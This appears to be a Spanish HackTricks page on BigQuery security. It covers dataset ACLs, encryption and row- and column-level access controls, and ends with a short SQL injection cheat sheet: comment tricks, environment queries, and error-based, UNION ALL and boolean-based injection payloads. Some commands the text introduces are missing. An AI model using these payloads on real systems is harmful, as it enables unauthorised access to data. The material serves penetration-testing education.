GCP - Bigquery Enum
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Google Cloud BigQuery es un almacenamiento de datos empresarial completamente gestionado y sin servidor, que ofrece capacidades para análisis sobre petabytes de datos, manejando así conjuntos de datos a gran escala de manera eficiente. Como Plataforma como Servicio (PaaS), proporciona a los usuarios infraestructura y herramientas para facilitar la gestión de datos sin necesidad de supervisión manual.
Soporta consultas utilizando ANSI SQL. Los principales objetos son conjuntos de datos que contienen tablas que contienen datos SQL.
Por defecto se utiliza una clave de cifrado gestionada por Google, aunque es posible configurar una clave de cifrado gestionada por el cliente (CMEK). Es posible indicar la clave de cifrado por conjunto de datos y por tabla dentro de un conjunto de datos.
Es posible indicar un tiempo de expiración en el conjunto de datos para que cualquier nueva tabla creada en este conjunto de datos sea eliminada automáticamente el número especificado de días después de su creación.
Bigquery está profundamente integrado con otros servicios de Google. Es posible cargar datos desde buckets, pub/sub, google drive, bases de datos RDS...
Cuando se crea un conjunto de datos, se adjuntan ACLs para dar acceso sobre él. Por defecto, se otorgan privilegios de Propietario al usuario que creó el conjunto de datos y luego Propietario al grupo projectOwners (Propietarios del proyecto), Escritor al grupo projectWriters, y Lector al grupo projectReaders:
Es posible controlar las filas a las que un principal podrá acceder dentro de una tabla con políticas de acceso a filas. Estas se definen dentro de la tabla utilizando DDL. La política de acceso define un filtro y solo las filas que coincidan con ese filtro serán accesibles por los principales indicados.
Para restringir el acceso a los datos a nivel de columna:
Definir una taxonomía y etiquetas de política. Crea y gestiona una taxonomía y etiquetas de política para tus datos. https://console.cloud.google.com/bigquery/policy-tags
Opcional: Concede el rol de Lector de Datos Catalogados de Grano Fino a uno o más principales en una o más de las etiquetas de política que creaste.
Asigna etiquetas de política a tus columnas de BigQuery. En BigQuery, utiliza anotaciones de esquema para asignar una etiqueta de política a cada columna donde desees restringir el acceso.
Aplica control de acceso en la taxonomía. Aplicar control de acceso provoca que las restricciones de acceso definidas para todas las etiquetas de política en la taxonomía se apliquen.
Gestiona el acceso en las etiquetas de política. Utiliza Identity and Access Management (IAM) políticas para restringir el acceso a cada etiqueta de política. La política está en efecto para cada columna que pertenece a la etiqueta de política.
Cuando un usuario intenta acceder a los datos de la columna en el momento de la consulta, BigQuery verifica la etiqueta de política de la columna y su política para ver si el usuario está autorizado para acceder a los datos.
Como resumen, para restringir el acceso a algunas columnas a algunos usuarios, puedes agregar una etiqueta a la columna en el esquema y restringir el acceso de los usuarios a la etiqueta aplicando control de acceso en la taxonomía de la etiqueta.
Para aplicar control de acceso en la taxonomía es necesario habilitar el servicio:
Es posible ver las etiquetas de las columnas con:
Para más información, puedes consultar la publicación del blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Aquí solo se darán algunos detalles.
Comentarios:
select 1#from here it is not working
select 1/*between those it is not working*/
Pero solo el inicial no funcionará
select 1--from here it is not working
Obtén información sobre el entorno como:
Usuario actual: select session_user()
ID del proyecto: select @@project_id
Concatena filas:
Todos los nombres de las tablas: string_agg(table_name, ', ')
Obtén nombres de datasets, tablas y columnas:
Nombre del proyecto y del dataset:
Nombres de columna y tabla de todas las tablas del conjunto de datos:
Otros conjuntos de datos en el mismo proyecto:
Tipos de inyección SQL:
Basada en errores - casting: select CAST(@@project_id AS INT64)
Basada en errores - división por cero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Basada en unión (necesitas usar ALL en bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Basada en booleanos: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potencialmente basada en tiempo - Uso de ejemplos de conjuntos de datos públicos: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentación:
Lista de todas las funciones: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Declaraciones de scripting: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)